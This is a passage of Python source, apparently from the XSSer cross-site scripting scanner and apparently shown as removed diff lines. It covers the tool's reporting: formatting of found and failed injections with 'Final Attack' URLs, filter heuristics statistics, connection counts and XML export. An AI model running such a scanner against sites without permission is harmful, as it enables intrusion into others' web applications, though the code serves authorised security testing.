- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Heuristic test]":
- if len(self.hash_found) < 11:
- if line[4]:
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[3]) + " ]")
- self.report("[!] Method:", line[2])
- self.report("[*] Payload:", line[5])
- self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
- fout.write("="*75 + "\n\n")
- else:
- self.auto_found = self.auto_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: URL")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable:", line[1])
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- if self.options.fileoutput:
- fout.close()
- if self.options.fileoutput and not self.options.filexml:
- self.report("[Info] Generating report: [ XSSreport.raw ]\n")
- self.report("-"*25+"\n")
- if self.options.fileoutput and self.options.filexml:
- self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
- self.report("-"*25+"\n")
- if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
- if not self.options.filexml:
- self.report("[Info] Aborting large screen output. Generating report: [ XSSreport.raw ]\n")
- self.report("-"*25+"\n")
- fout = open("XSSreport.raw", "w") # write better than append
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- fout.close()
- else:
- self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
- self.report("-"*25+"\n")
- # heuristic always with statistics
- if self.options.heuristic:
- heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
- heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
- heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
- heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
- heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
- heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
- heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
- heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
- total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
- total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
- total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
- if total_heuris_notfound > 0: # not shown when not found
- self.options.statistics = True
- # some statistics reports
- if self.options.statistics:
- # heuristic test results
- if self.options.heuristic:
- self.report("\n"+'='*75)
- self.report("[+] Heuristics:")
- self.report('='*75)
- test_time = datetime.datetime.now() - self.time
- self.report("\n" + '-'*50)
- self.report("Test Time Duration: ", test_time)
- self.report('-'*50 )
- total_connections = total_heuris_found + total_heuris_notfound
- self.report("Total fuzzed:", total_connections)
- self.report('-'*75)
- self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
- # semicolon results
- self.report('; ', " ", self.heuris_semicolon_notfound, " ",
- heuris_semicolon_total_found, " ",
- self.heuris_semicolon_found, " ",
- self.heuris_une_semicolon_found, " ",
- self.heuris_dec_semicolon_found)
- # backslash results
- self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
- heuris_backslash_total_found, " ",
- self.heuris_backslash_found, " ",
- self.heuris_une_backslash_found, " ",
- self.heuris_dec_backslash_found)
- # slash results
- self.report("/ ", " ", self.heuris_slash_notfound, " ",
- heuris_slash_total_found, " ",
- self.heuris_slash_found, " ",
- self.heuris_une_slash_found, " ",
- self.heuris_dec_slash_found)
- # minor results
- self.report("< ", " ", self.heuris_minor_notfound, " ",
- heuris_minor_total_found, " ",
- self.heuris_minor_found, " ",
- self.heuris_une_minor_found, " ",
- self.heuris_dec_minor_found)
- # mayor results
- self.report("> ", " ", self.heuris_mayor_notfound, " ",
- heuris_mayor_total_found, " ",
- self.heuris_mayor_found, " ",
- self.heuris_une_mayor_found, " ",
- self.heuris_dec_mayor_found)
- # doublecolon results
- self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
- heuris_doublecolon_total_found, " ",
- self.heuris_doublecolon_found, " ",
- self.heuris_une_doublecolon_found, " ",
- self.heuris_dec_doublecolon_found)
- # colon results
- self.report("' ", " ", self.heuris_colon_notfound, " ",
- heuris_colon_total_found, " ",
- self.heuris_colon_found, " ",
- self.heuris_une_colon_found, " ",
- self.heuris_dec_colon_found)
- # equal results
- self.report("= ", " ", self.heuris_equal_notfound, " ",
- heuris_equal_total_found, " ",
- self.heuris_equal_found, " ",
- self.heuris_une_equal_found, " ",
- self.heuris_dec_equal_found)
- self.report('-'*75)
- try:
- _accur = total_heuris_found * 100 / total_heuris_params
- except ZeroDivisionError:
- _accur = 0
- self.report('Target(s) Filtering Accur: %s %%' % _accur)
- self.report('-'*75)
- # statistics block
- if len(self.hash_found) + len(self.hash_notfound) == 0:
- pass
- if self.options.heuristic:
- pass
- else:
- self.report('='*75)
- self.report("[+] Statistics:")
- self.report('='*75)
- test_time = datetime.datetime.now() - self.time
- self.report("\n" + '-'*50)
- self.report("Test Time Duration: ", test_time)
- self.report('-'*50 )
- total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
- self.report("Total Connections:", total_connections)
- self.report('-'*25)
- self.report("200-OK:" , self.success_connection , "|", "404:" ,
- self.not_connection , "|" , "503:" ,
- self.forwarded_connection , "|" , "Others:",
- self.other_connection)
- try:
- _accur = self.success_connection * 100 / total_connections
- except ZeroDivisionError:
- _accur = 0
- self.report("Connec: %s %%" % _accur)
- self.report('-'*50)
- total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
- self.report("Total Payloads:", total_payloads)
- self.report('-'*25)
- self.report("Checker:", self.check_positives, "|", "Manual:",
- self.manual_injection, "|" , "Auto:" ,
- self.auto_injection ,"|", "DCP:",
- self.dcp_injection, "|", "DOM:", self.dom_injection,
- "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
- self.xsr_injection, "|", "XSA:",
- self.xsa_injection , "|", "COO:",
- self.coo_injection)
- self.report('-'*50)
- self.report("Total Injections:" ,
- len(self.hash_notfound) + len(self.hash_found))
- self.report('-'*25)
- self.report("Failed:" , len(self.hash_notfound), "|",
- "Successful:" , len(self.hash_found))
- try:
- _accur = len(self.hash_found) * 100 / total_injections
- except ZeroDivisionError:
- _accur = 0
- self.report("Accur : %s %%" % _accur)
- self.report("\n" + '='*50)
- total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
- self.report("\n" + '-'*50)
- self.report("Total XSS Discovered:", total_discovered)
- self.report('-'*50)
- self.report("Checker:", self.false_positives, "|",
- "Manual:",self.manual_found, "|", "Auto:",
- self.auto_found, "|", "DCP:", self.dcp_found,
- "|", "DOM:", self.dom_found, "|", "Induced:",
- self.httpsr_found, "|" , "XSR:", self.xsr_found,
- "|", "XSA:", self.xsa_found, "|", "COO:",
- self.coo_found)
- self.report('-'*50)
- self.report("False positives:", self.false_positives, "|",
- "Vulnerables:",
- total_discovered - self.false_positives)
- self.report('-'*25)
- # efficiency ranking:
- # algor= vulnerables + false positives - failed * extras
- mana = 0
- h_found = 0
- for h in self.hash_found:
- h_found = h_found + 1
- if h_found > 3:
- mana = mana + 4500
- if h_found == 1:
- mana = mana + 500
- if self.options.reversecheck:
- mana = mana + 200
- if total_payloads > 100:
- mana = mana + 150
- if not self.options.xsser_gtk:
- mana = mana + 25
- if self.options.discode:
- mana = mana + 100
- if self.options.proxy:
- mana = mana + 100
- if self.options.threads > 9:
- mana = mana + 100
- if self.options.heuristic:
- mana = mana + 100
- if self.options.finalpayload or self.options.finalremote:
- mana = mana + 100
- if self.options.script:
- mana = mana + 100
- if self.options.Cem or self.options.Doo:
- mana = mana + 75
- if self.options.heuristic:
- mana = mana + 50
- if self.options.script and not self.options.fuzz:
- mana = mana + 25
- if self.options.followred and self.options.fli:
- mana = mana + 25
- if self.options.wizard:
- mana = mana + 25
- if self.options.dcp:
- mana = mana + 25
- if self.options.hash:
- mana = mana + 10
- mana = (len(self.hash_found) * mana) + mana
- # enjoy it :)
- self.report("Mana:", mana)
- self.report("")
- c = Curl()
- if not len(self.hash_found) and self.hash_notfound:
- if self.options.hash:
- if self.options.statistics:
- self.report('='*75 + '\n')
- self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
- else:
- if self.options.target or self.options.heuristic:
- self.report("")
- if self.options.heuristic:
- pass
- else:
- if self.options.statistics:
- self.report('='*75 + '\n')
- if self.options.fileoutput:
- fout = open("XSSreport.raw", "w") # write better than append
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_notfound:
- if h[2] == 'heuristic':
- if not h[4]:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- elif h[2] == 'hashing check':
- if not h[4]:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- if h[4]:
- if h[2] == "XSA":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "XSR":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "COO":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- if h[2] == "XSA":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "XSR":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "COO":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
- fout.write("="*75 + "\n\n")
- fout.close()
- else:
- # some exits and info for some bad situations:
- if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
- self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
- if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
- if self.options.xsser_gtk:
- self.report('='*75)
- self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
- self.report('='*75 + '\n')
- # print results to xml file
- if self.options.filexml:
- xml_report_results = xml_reporting(self)
- try:
- xml_report_results.print_xml_results(self.options.filexml)
- except:
- return
- if __name__ == "__main__":
- app = xsser()
- options = app.create_options()
- if options:
- app.set_options(options)
- app.run()
- app.land(True)
|